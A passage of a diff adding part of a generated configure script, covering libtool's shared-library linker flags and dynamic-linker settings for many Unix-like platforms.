+	archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+	hardcode_shlibpath_var=no
+	runpath_var=LD_RUN_PATH
+	hardcode_runpath_var=yes
+	ld_shlibs=yes
+      fi
+      ;;
+
+    sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7* | sco3.2v5.0.[024]*)
+      no_undefined_flag='${wl}-z,text'
+      archive_cmds_need_lc=no
+      hardcode_shlibpath_var=no
+      runpath_var='LD_RUN_PATH'
+
+      if test "$GCC" = yes; then
+	archive_cmds='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+      else
+	archive_cmds='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+      fi
+      ;;
+
+    sysv5* | sco3.2v5* | sco5v6*)
+      # Note: We can NOT use -z defs as we might desire, because we do not
+      # link with -lc, and that would cause any symbols used from libc to
+      # always be unresolved, which means just about no library would
+      # ever link correctly.  If we're not using GNU ld we use -z text
+      # though, which does catch some bad symbols but isn't as heavy-handed
+      # as -z defs.
+      no_undefined_flag='${wl}-z,text'
+      allow_undefined_flag='${wl}-z,nodefs'
+      archive_cmds_need_lc=no
+      hardcode_shlibpath_var=no
+      hardcode_libdir_flag_spec='${wl}-R,$libdir'
+      hardcode_libdir_separator=':'
+      link_all_deplibs=yes
+      export_dynamic_flag_spec='${wl}-Bexport'
+      runpath_var='LD_RUN_PATH'
+
+      if test "$GCC" = yes; then
+	archive_cmds='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+      else
+	archive_cmds='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+      fi
+      ;;
+
+    uts4*)
+      archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+      hardcode_libdir_flag_spec='-L$libdir'
+      hardcode_shlibpath_var=no
+      ;;
+
+    *)
+      ld_shlibs=no
+      ;;
+    esac
+
+    if test x$host_vendor = xsni; then
+      case $host in
+      sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*)
+	export_dynamic_flag_spec='${wl}-Blargedynsym'
+	;;
+      esac
+    fi
+  fi
+
+echo "$as_me:$LINENO: result: $ld_shlibs" >&5
+echo "${ECHO_T}$ld_shlibs" >&6
+test "$ld_shlibs" = no && can_build_shared=no
+
+with_gnu_ld=$with_gnu_ld
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+#
+# Do we need to explicitly link libc?
+#
+case "x$archive_cmds_need_lc" in
+x|xyes)
+  # Assume -lc should be added
+  archive_cmds_need_lc=yes
+
+  if test "$enable_shared" = yes && test "$GCC" = yes; then
+    case $archive_cmds in
+    *'~'*)
+      # FIXME: we may have to deal with multi-command sequences.
+      ;;
+    '$CC '*)
+      # Test whether the compiler implicitly links with -lc since on some
+      # systems, -lgcc has to come before -lc. If gcc already passes -lc
+      # to ld, don't add -lc before -lgcc.
+      echo "$as_me:$LINENO: checking whether -lc should be explicitly linked in" >&5
+echo $ECHO_N "checking whether -lc should be explicitly linked in... $ECHO_C" >&6
+      $RM conftest*
+      printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+
+      if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } 2>conftest.err; then
+        soname=conftest
+        lib=conftest
+        libobjs=conftest.$ac_objext
+        deplibs=
+        wl=$lt_prog_compiler_wl
+	pic_flag=$lt_prog_compiler_pic
+        compiler_flags=-v
+        linker_flags=-v
+        verstring=
+        output_objdir=.
+        libname=conftest
+        lt_save_allow_undefined_flag=$allow_undefined_flag
+        allow_undefined_flag=
+        if { (eval echo "$as_me:$LINENO: \"$archive_cmds 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1\"") >&5
+  (eval $archive_cmds 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }
+        then
+	  archive_cmds_need_lc=no
+        else
+	  archive_cmds_need_lc=yes
+        fi
+        allow_undefined_flag=$lt_save_allow_undefined_flag
+      else
+        cat conftest.err 1>&5
+      fi
+      $RM conftest*
+      echo "$as_me:$LINENO: result: $archive_cmds_need_lc" >&5
+echo "${ECHO_T}$archive_cmds_need_lc" >&6
+      ;;
+    esac
+  fi
+  ;;
+esac
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5
+echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6
+withGCC=$GCC
+library_names_spec=
+libname_spec='lib$name'
+soname_spec=
+shrext_cmds=".so"
+postinstall_cmds=
+postuninstall_cmds=
+finish_cmds=
+finish_eval=
+shlibpath_var=
+shlibpath_overrides_runpath=unknown
+version_type=none
+dynamic_linker="$host_os ld.so"
+sys_lib_dlsearch_path_spec="/lib /usr/lib"
+if test "$withGCC" = yes; then
+  sys_lib_search_path_spec=`$CC -print-search-dirs | $GREP "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
+  if $ECHO "$sys_lib_search_path_spec" | $GREP ';' >/dev/null ; then
+    # if the path contains ";" then we assume it to be the separator
+    # otherwise default to the standard path separator (i.e. ":") - it is
+    # assumed that no part of a normal pathname contains ";" but that should
+    # okay in the real world where ";" in dirpaths is itself problematic.
+    sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
+  else
+    sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED  -e "s/$PATH_SEPARATOR/ /g"`
+  fi
+else
+  sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
+fi
+need_lib_prefix=unknown
+hardcode_into_libs=no
+
+# when you set need_version to no, make sure it does not cause -set_version
+# flags to be left without arguments
+need_version=unknown
+
+case $host_os in
+aix3*)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
+  shlibpath_var=LIBPATH
+
+  # AIX 3 has no versioning support, so we append a major version to the name.
+  soname_spec='${libname}${release}${shared_ext}$major'
+  ;;
+
+aix4* | aix5*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  hardcode_into_libs=yes
+  if test "$host_cpu" = ia64; then
+    # AIX 5 supports IA64
+    library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
+    shlibpath_var=LD_LIBRARY_PATH
+  else
+    # With GCC up to 2.95.x, collect2 would create an import file
+    # for dependence libraries.  The import file would start with
+    # the line `#! .'.  This would cause the generated library to
+    # depend on `.', always an invalid library.  This was fixed in
+    # development snapshots of GCC prior to 3.0.
+    case $host_os in
+      aix4 | aix4.[01] | aix4.[01].*)
+      if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
+	   echo ' yes '
+	   echo '#endif'; } | ${CC} -E - | $GREP yes > /dev/null; then
+	:
+      else
+	can_build_shared=no
+      fi
+      ;;
+    esac
+    # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
+    # soname into executable. Probably we can add versioning support to
+    # collect2, so additional links can be useful in future.
+    if test "$aix_use_runtimelinking" = yes; then
+      # If using run time linking (on AIX 4.2 or later) use lib<name>.so
+      # instead of lib<name>.a to let people know that these are not
+      # typical AIX shared libraries.
+      library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    else
+      # We preserve .a as extension for shared libraries through AIX4.2
+      # and later when we are not doing run time linking.
+      library_names_spec='${libname}${release}.a $libname.a'
+      soname_spec='${libname}${release}${shared_ext}$major'
+    fi
+    shlibpath_var=LIBPATH
+  fi
+  ;;
+
+amigaos*)
+  if test "$host_cpu" = m68k; then
+    library_names_spec='$libname.ixlibrary $libname.a'
+    # Create ${libname}_ixlibrary.a entries in /sys/libs.
+    finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$ECHO "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $RM /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
+  else
+    dynamic_linker=no
+  fi
+  ;;
+
+beos*)
+  library_names_spec='${libname}${shared_ext}'
+  dynamic_linker="$host_os ld.so"
+  shlibpath_var=LIBRARY_PATH
+  ;;
+
+bsdi[45]*)
+  version_type=linux
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
+  sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
+  # the default ld.so.conf also contains /usr/contrib/lib and
+  # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
+  # libtool to hard-code these into programs
+  ;;
+
+cygwin* | mingw* | pw32*)
+  version_type=windows
+  shrext_cmds=".dll"
+  need_version=no
+  need_lib_prefix=no
+
+  case $withGCC,$host_os in
+  yes,cygwin* | yes,mingw* | yes,pw32*)
+    library_names_spec='$libname.dll.a'
+    # DLL is installed to $(libdir)/../bin by postinstall_cmds
+    postinstall_cmds='base_file=`basename \${file}`~
+      dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
+      dldir=$destdir/`dirname \$dlpath`~
+      test -d \$dldir || mkdir -p \$dldir~
+      $install_prog $dir/$dlname \$dldir/$dlname~
+      chmod a+x \$dldir/$dlname~
+      if test -n '\''$stripme'\'' && test -n '\''$striplib'\''; then
+        eval '\''$striplib \$dldir/$dlname'\'' || exit \$?;
+      fi'
+    postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
+      dlpath=$dir/\$dldll~
+       $RM \$dlpath'
+    shlibpath_overrides_runpath=yes
+
+    case $host_os in
+    cygwin*)
+      # Cygwin DLLs use 'cyg' prefix rather than 'lib'
+      soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+      sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
+      ;;
+    mingw*)
+      # MinGW DLLs use traditional 'lib' prefix
+      soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+      sys_lib_search_path_spec=`$CC -print-search-dirs | $GREP "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
+      if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
+        # It is most probably a Windows format PATH printed by
+        # mingw gcc, but we are running on Cygwin. Gcc prints its search
+        # path with ; separators, and with drive letters. We can handle the
+        # drive letters (cygwin fileutils understands them), so leave them,
+        # especially as we might pass files found there to a mingw objdump,
+        # which wouldn't understand a cygwinified path. Ahh.
+        sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
+      else
+        sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED  -e "s/$PATH_SEPARATOR/ /g"`
+      fi
+      ;;
+    pw32*)
+      # pw32 DLLs use 'pw' prefix rather than 'lib'
+      library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+      ;;
+    esac
+    ;;
+
+  *)
+    library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
+    ;;
+  esac
+  dynamic_linker='Win32 ld.exe'
+  # FIXME: first we should search . and the directory the executable is in
+  shlibpath_var=PATH
+  ;;
+
+darwin* | rhapsody*)
+  dynamic_linker="$host_os dyld"
+  version_type=darwin
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${major}$shared_ext ${libname}$shared_ext'
+  soname_spec='${libname}${release}${major}$shared_ext'
+  shlibpath_overrides_runpath=yes
+  shlibpath_var=DYLD_LIBRARY_PATH
+  shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
+  # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
+  if test "$withGCC" = yes; then
+    sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | $GREP "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
+  else
+    sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
+  fi
+  sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
+  ;;
+
+dgux*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  ;;
+
+freebsd1*)
+  dynamic_linker=no
+  ;;
+
+kfreebsd*-gnu)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  dynamic_linker='GNU ld.so'
+  ;;
+
+freebsd* | dragonfly*)
+  # DragonFly does not have aout.  When/if they implement a new
+  # versioning mechanism, adjust this.
+  if test -x /usr/bin/objformat; then
+    objformat=`/usr/bin/objformat`
+  else
+    case $host_os in
+    freebsd[123]*) objformat=aout ;;
+    *) objformat=elf ;;
+    esac
+  fi
+  version_type=freebsd-$objformat
+  case $version_type in
+    freebsd-elf*)
+      library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
+      need_version=no
+      need_lib_prefix=no
+      ;;
+    freebsd-*)
+      library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
+      need_version=yes
+      ;;
+  esac
+  shlibpath_var=LD_LIBRARY_PATH
+  case $host_os in
+  freebsd2*)
+    shlibpath_overrides_runpath=yes
+    ;;
+  freebsd3.[01]* | freebsdelf3.[01]*)
+    shlibpath_overrides_runpath=yes
+    hardcode_into_libs=yes
+    ;;
+  freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
+  freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
+    shlibpath_overrides_runpath=no
+    hardcode_into_libs=yes
+    ;;
+  freebsd*) # from 4.6 on
+    shlibpath_overrides_runpath=yes
+    hardcode_into_libs=yes
+    ;;
+  esac
+  ;;
+
+gnu*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  hardcode_into_libs=yes
+  ;;
+
+hpux9* | hpux10* | hpux11*)
+  # Give a soname corresponding to the major version so that dld.sl refuses to
+  # link against other versions.
+  version_type=sunos
+  need_lib_prefix=no
+  need_version=no
+  case $host_cpu in
+  ia64*)
+    shrext_cmds='.so'
+    hardcode_into_libs=yes
+    dynamic_linker="$host_os dld.so"
+    shlibpath_var=LD_LIBRARY_PATH
+    shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    if test "X$HPUX_IA64_MODE" = X32; then
+      sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
+    else
+      sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
+    fi
+    sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
+    ;;
+  hppa*64*)
+    shrext_cmds='.sl'
+    hardcode_into_libs=yes
+    dynamic_linker="$host_os dld.sl"
+    shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
+    shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
+    sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
+    ;;
+  *)
+    shrext_cmds='.sl'
+    dynamic_linker="$host_os dld.sl"
+    shlibpath_var=SHLIB_PATH
+    shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    ;;
+  esac
+  # HP-UX runs *really* slowly unless shared libraries are mode 555.
+  postinstall_cmds='chmod 555 $lib'
+  ;;
+
+interix3*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  ;;
+
+irix5* | irix6* | nonstopux*)
+  case $host_os in
+    nonstopux*) version_type=nonstopux ;;
+    *)
+	if test "$lt_cv_prog_gnu_ld" = yes; then
+		version_type=linux
+	else
+		version_type=irix
+	fi ;;
+  esac
+  need_lib_prefix=no
+  need_version=no
+  soname_spec='${libname}${release}${shared_ext}$major'
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
+  case $host_os in
+  irix5* | nonstopux*)
+    libsuff= shlibsuff=
+    ;;
+  *)
+    case $LD in # libtool.m4 will add one of these switches to LD
+    *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
+      libsuff= shlibsuff= libmagic=32-bit;;
+    *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
+      libsuff=32 shlibsuff=N32 libmagic=N32;;
+    *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
+      libsuff=64 shlibsuff=64 libmagic=64-bit;;
+    *) libsuff= shlibsuff= libmagic=never-match;;
+    esac
+    ;;
+  esac
+  shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
+  shlibpath_overrides_runpath=no
+  sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
+  sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
+  hardcode_into_libs=yes
+  ;;
+
+# No shared lib support for Linux oldld, aout, or coff.
+linux*oldld* | linux*aout* | linux*coff*)
+  dynamic_linker=no
+  ;;
+
+# This must be Linux ELF.
+linux*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  # This implies no fast_install, which is unacceptable.
+  # Some rework will be needed to allow for fast_install
+  # before this can be enabled.
+  hardcode_into_libs=yes
+
+  # Append ld.so.conf contents to the search path
+  if test -f /etc/ld.so.conf; then
+    lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:,	]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
+    sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
+  fi
+
+  # We used to test for /lib/ld.so.1 and disable shared libraries on
+  # powerpc, because MkLinux only supported shared libraries with the
+  # GNU dynamic linker.  Since this was broken with cross compilers,
+  # most powerpc-linux boxes support dynamic linking these days and
+  # people can always --disable-shared, the test was removed, and we
+  # assume the GNU/Linux dynamic linker is in use.
+  dynamic_linker='GNU/Linux ld.so'
+  ;;
+
+knetbsd*-gnu)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  dynamic_linker='GNU ld.so'
+  ;;
+
+netbsd*)
+  version_type=sunos
+  need_lib_prefix=no
+  need_version=no
+  if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
+    finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
+    dynamic_linker='NetBSD (a.out) ld.so'
+  else
+    library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
+    soname_spec='${libname}${release}${shared_ext}$major'
+    dynamic_linker='NetBSD ld.elf_so'
+  fi
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  hardcode_into_libs=yes
+  ;;
+
+newsos6)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  ;;
+
+*nto* | *qnx*)
+  version_type=qnx
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  dynamic_linker='ldqnx.so'
+  ;;
+
+openbsd*)
+  version_type=sunos
+  sys_lib_dlsearch_path_spec="/usr/lib"
+  need_lib_prefix=no
+  # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
+  case $host_os in
+    openbsd3.3 | openbsd3.3.*)	need_version=yes ;;
+    *)				need_version=no  ;;
+  esac
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
+  finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+    case $host_os in
+      openbsd2.[89] | openbsd2.[89].*)
+	shlibpath_overrides_runpath=no
+	;;
+      *)
+	shlibpath_overrides_runpath=yes
+	;;
+      esac
+  else
+    shlibpath_overrides_runpath=yes
+  fi
+  ;;
+
+os2*)
+  libname_spec='$name'
+  shrext_cmds=".dll"
+  need_lib_prefix=no
+  library_names_spec='$libname${shared_ext} $libname.a'
+  dynamic_linker='OS/2 ld.exe'
+  shlibpath_var=LIBPATH
+  ;;
+
+osf3* | osf4* | osf5*)
+  version_type=osf
+  need_lib_prefix=no
+  need_version=no
+  soname_spec='${libname}${release}${shared_ext}$major'
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  shlibpath_var=LD_LIBRARY_PATH
+  sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
+  sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
+  ;;
+
+rdos*)
+  dynamic_linker=no
+  ;;
+
+solaris*)
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  hardcode_into_libs=yes
+  # ldd complains unless libraries are executable
+  postinstall_cmds='chmod +x $lib'
+  ;;
+
+sunos4*)
+  version_type=sunos
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
+  finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  if test "$with_gnu_ld" = yes; then
+    need_lib_prefix=no
+  fi
+  need_version=yes
+  ;;
+
+sysv4 | sysv4.3*)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  case $host_vendor in
+    sni)
+      shlibpath_overrides_runpath=no
+      need_lib_prefix=no
+      runpath_var=LD_RUN_PATH
+      ;;
+    siemens)
+      need_lib_prefix=no
+      ;;
+    motorola)
+      need_lib_prefix=no
+      need_version=no
+      shlibpath_overrides_runpath=no
+      sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
+      ;;
+  esac
+  ;;
+
+sysv4*MP*)
+  if test -d /usr/nec ;then
+    version_type=linux
+    library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
+    soname_spec='$libname${shared_ext}.$major'
+    shlibpath_var=LD_LIBRARY_PATH
+  fi
+  ;;
+
+sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
+  version_type=freebsd-elf
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=yes
+  hardcode_into_libs=yes
+  if test "$with_gnu_ld" = yes; then
+    sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
+  else
+    sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
+    case $host_os in
+      sco3.2v5*)
+        sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
+	;;
+    esac
+  fi
+  sys_lib_dlsearch_path_spec='/usr/lib'
+  ;;
+
+tpf*)
+  # TPF is a cross-target only.  Preferred cross-host = GNU/Linux.
+  version_type=linux
+  need_lib_prefix=no
+  need_version=no
+  library_name_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  shlibpath_var=LD_LIBRARY_PATH
+  shlibpath_overrides_runpath=no
+  hardcode_into_libs=yes
+  ;;
+
+uts4*)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  ;;
+
+*)
+  dynamic_linker=no
+  ;;
+esac
+echo "$as_me:$LINENO: result: $dynamic_linker" >&5
+echo "${ECHO_T}$dynamic_linker" >&6
+test "$dynamic_linker" = no && can_build_shared=no
+
+variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
+if test "$GCC" = yes; then
+  variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
+fi
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
